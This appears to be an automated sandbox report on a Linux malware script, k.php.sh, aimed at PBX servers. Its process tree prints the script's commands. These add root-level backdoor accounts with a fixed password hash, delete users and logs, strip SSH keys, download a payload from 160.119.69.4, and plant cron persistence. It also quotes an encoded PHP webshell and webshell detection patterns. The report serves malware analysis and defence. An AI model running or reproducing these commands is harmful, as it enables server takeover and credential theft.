Analysis
- max time kernel
3s - max time network
129s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
23/07/2026, 19:01
General
- Target k.php.sh
- Size 44KB
- Sample260723-xpppvavfnd
- SHA256 c3433dd61c7a5704d780be6f3a1e40492baf6171a45266c2dc363a5c165f2a0f
Score
8/10
Malware Config
Signatures
- Modifies password files for system users/ groups 1 TTPs 64 IoCs
Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes Audit logs 1 TTPs 1 IoCs
Deletes logs related to the Linux Audit framework.
- OS Credential Dumping 1 TTPs 31 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
- Adds a user to the system 22 IoCs
- Creates/modifies Cron job 1 TTPs 11 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Creates/modifies environment variables 1 TTPs 18 IoCs
Creating/modifying environment variables is a common persistence mechanism.
- Deletes log files 1 TTPs 17 IoCs
Deletes log files on the system.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Modifies Bash startup script 2 TTPs 18 IoCs
- Deobfuscate/Decode Files or Information 1 TTPs 17 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
- Creates .desktop file 2 TTPs 8 IoCs
Linux desktops like GNOME require .desktop files to register applications. Sometimes abused by malware for persistence.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/k.php.sh/tmp/k.php.sh1⤵
- Writes file to tmp directory
-
/bin/bashbash2⤵
- Modifies password files for system users/ groups
- Creates/modifies environment variables
- Modifies rc script
- Modifies Bash startup script
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
-
-
/bin/rmrm -rf /tmp/config-err-IvU51X /tmp/k.php.sh /tmp/netplan_od70vtz6 /tmp/snap-private-tmp /tmp/ssh-Ql5gHX2Xx0bI /tmp/systemd-private-f2d086e7e76d4e8ea5deb3defdca2143-bolt.service-l2lTTG /tmp/systemd-private-f2d086e7e76d4e8ea5deb3defdca2143-colord.service-L2jbBN /tmp/systemd-private-f2d086e7e76d4e8ea5deb3defdca2143-ModemManager.service-zLXtj0 /tmp/systemd-private-f2d086e7e76d4e8ea5deb3defdca2143-systemd-resolved.service-thKEPc /tmp/systemd-private-f2d086e7e76d4e8ea5deb3defdca2143-systemd-timedated.service-x6SEH9 "/tmps/*" "/trmp/*" /var/tmp/systemd-private-f2d086e7e76d4e8ea5deb3defdca2143-bolt.service-ScKvje /var/tmp/systemd-private-f2d086e7e76d4e8ea5deb3defdca2143-colord.service-iC0RSm /var/tmp/systemd-private-f2d086e7e76d4e8ea5deb3defdca2143-ModemManager.service-wsQPBp /var/tmp/systemd-private-f2d086e7e76d4e8ea5deb3defdca2143-systemd-resolved.service-6uH80A /var/tmp/systemd-private-f2d086e7e76d4e8ea5deb3defdca2143-systemd-timedated.service-EE47zM "/var/tmps/*" "/var/trmp/*" "/var/lib/asterisk/bin/devnull*"3⤵
-
-
/bin/rmrm -rf /tmp/devnull24 /tmps/devnull24 /trmp/devnull24 /var/tmp/devnull24 /var/tmps/devnull24 /var/trmp/devnull24 /var/lib/asterisk/bin/devnull243⤵
-
-
/bin/rmrm -rf /tmp/devnull23 /tmps/devnull23 /trmp/devnull23 /var/tmp/devnull23 /var/tmps/devnull23 /var/trmp/devnull23 /var/lib/asterisk/bin/devnull233⤵
-
-
/bin/rmrm -rf /tmp/devnull2 /tmps/devnull2 /trmp/devnull2 /var/tmp/devnull2 /var/tmps/devnull2 /var/trmp/devnull2 /var/lib/asterisk/bin/devnull23⤵
-
-
/bin/rmrm -rf /tmp/k /tmps/k /tmp/.font-unix /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix "/tmps/.??*" "/trmp/.??*"3⤵
-
-
/usr/bin/awkawk -F: "(\$3 == 0 || \$3 >= 1000) && \$1 != \"root\" {system(\"userdel -rf \" \$1 \" 2>/dev/null; sed -i \\\"/^\" \$1 \":/d\\\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/\" \$1 \" 2>/dev/null\")}" /etc/passwd3⤵
-
/bin/shsh -c "userdel -rf nobody 2>/dev/null; sed -i \"/^nobody:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/nobody 2>/dev/null"4⤵
-
/usr/sbin/userdeluserdel -rf nobody5⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
-
/bin/sedsed -i "/^nobody:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow5⤵
- OS Credential Dumping
-
-
/bin/rmrm -rf /home/nobody5⤵
-
-
-
/bin/shsh -c "userdel -rf user 2>/dev/null; sed -i \"/^user:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/user 2>/dev/null"4⤵
-
/usr/sbin/userdeluserdel -rf user5⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
-
/bin/sedsed -i "/^user:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow5⤵
- OS Credential Dumping
-
-
/bin/rmrm -rf /home/user5⤵
-
-
-
-
/bin/grepgrep -R "--include=*.php" -l "t3rr0r\\|b3d0r\\|pastebin\\|Hacked\\|MusicTeam\\|Aragon\\|Black Ban\\|New-Pbx\\|Emad__Was__Here" /var/www/html/3⤵
-
-
/usr/bin/xargsxargs -0 -I "{}" sh -c "cp {} /root/backup/ 2>/dev/null; rm -v {}"3⤵
-
-
/bin/grepgrep -rlZ atmin /var/www/html/3⤵
-
-
/usr/bin/xargsxargs -0 -I "{}" sh -c "cp {} /root/backup/ 2>/dev/null; rm -v {}"3⤵
-
-
/bin/grepgrep -rlZ cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8 /var/www/html/3⤵
-
-
/usr/bin/sortsort -u3⤵
-
-
/bin/grepgrep -r "--include=*.php" -l -E "(eval.*base64_decode|/\\*[A-Za-z0-9]+\\*/eval|c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF|New-Pbx|Emad__Was__Here|VictamPbx|emad|t3rr0r|FaTaLisTiCz_Fx|Hacked|b374k|xman|cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8|4ce19905aac5c1a58fc464e5bc1ce027|a62e7e1e4dfd211e99796aebb24dd872|Unauth0r1zed|Aragon|atmin|system\\(\\\$_GET\\[)|eval\\(\\\$_POST|eval\\(\\\$_REQUEST|eval\\(\\\$_GET|system\\(\\\$c\\s" /var/www/html/3⤵
-
-
/bin/grepgrep -rE "--include=*.php" Emad__Was__Here /var/www/html/3⤵
-
-
/usr/bin/cutcut -d : -f13⤵
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
-
-
/usr/bin/xargsxargs -0 grep -Il "<?php system("3⤵
-
/usr/local/sbin/grepgrep -Il "<?php system("4⤵
-
-
/usr/local/bin/grepgrep -Il "<?php system("4⤵
-
-
/usr/sbin/grepgrep -Il "<?php system("4⤵
-
-
/usr/bin/grepgrep -Il "<?php system("4⤵
-
-
/sbin/grepgrep -Il "<?php system("4⤵
-
-
/bin/grepgrep -Il "<?php system("4⤵
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
- Reads runtime system information
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbxs4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/sbin/pam_tally2pam_tally2 --user newfpbxs --reset --quiet5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbx4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/sbin/pam_tally2pam_tally2 --user newfpbx --reset --quiet5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/sbin/pam_tally2pam_tally2 --user xhimax --reset --quiet5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
-
-
/usr/bin/headhead -c83⤵
-
-
/usr/bin/trtr -dc a-z0-93⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmps/.ogu9465r3⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmp/.ogu9465r3⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /trmp/.ogu9465r3⤵
-
-
/usr/bin/findfind /home -name authorized_keys -exec sed -i /AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE/d "{}" ";"3⤵
-
-
/bin/rmrm -f /root/.ssh/authorized_keys3⤵
-
-
/bin/sedsed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50|212\\.83\\.160\\.70/160.119.69.4/g" /etc/crontab3⤵
-
-
/bin/sedsed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50|212\\.83\\.160\\.70/160.119.69.4/g" /etc/cron.d/anacron3⤵
- Creates/modifies Cron job
-
-
/bin/sedsed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50|212\\.83\\.160\\.70/160.119.69.4/g" /etc/cron.d/popularity-contest3⤵
- Creates/modifies Cron job
-
-
/sbin/iptablesiptables -C INPUT -s 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 212.83.160.70 -j DROP3⤵
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." centos -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user centos --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." admin -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user admin --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." support -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user support --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." issabel -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user issabel --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." sangoma -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user sangoma --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." emo -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user emo --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax -s /bin/bash -d /dev/null3⤵
- Adds a user to the system
-
-
/usr/bin/touchtouch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php3⤵
-
-
/bin/grepgrep serv3⤵
-
-
/bin/grepgrep setsid /root/.bash_profile3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/grepgrep serv3⤵
-
-
/bin/grepgrep setsid /root/.bashrc3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/grepgrep serv3⤵
-
-
/bin/grepgrep setsid /etc/rc.local3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/sbin/useradduseradd -m -s /bin/bash sugarmaint3⤵
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user sugarmaint --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash spamfilter3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user spamfilter --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash asteriskuser3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user asteriskuser --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash supports3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user supports --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash freepbxuser3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user freepbxuser --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash supermaint3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user supermaint --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash asterisk3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user asterisk --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash hima3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user hima --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
-
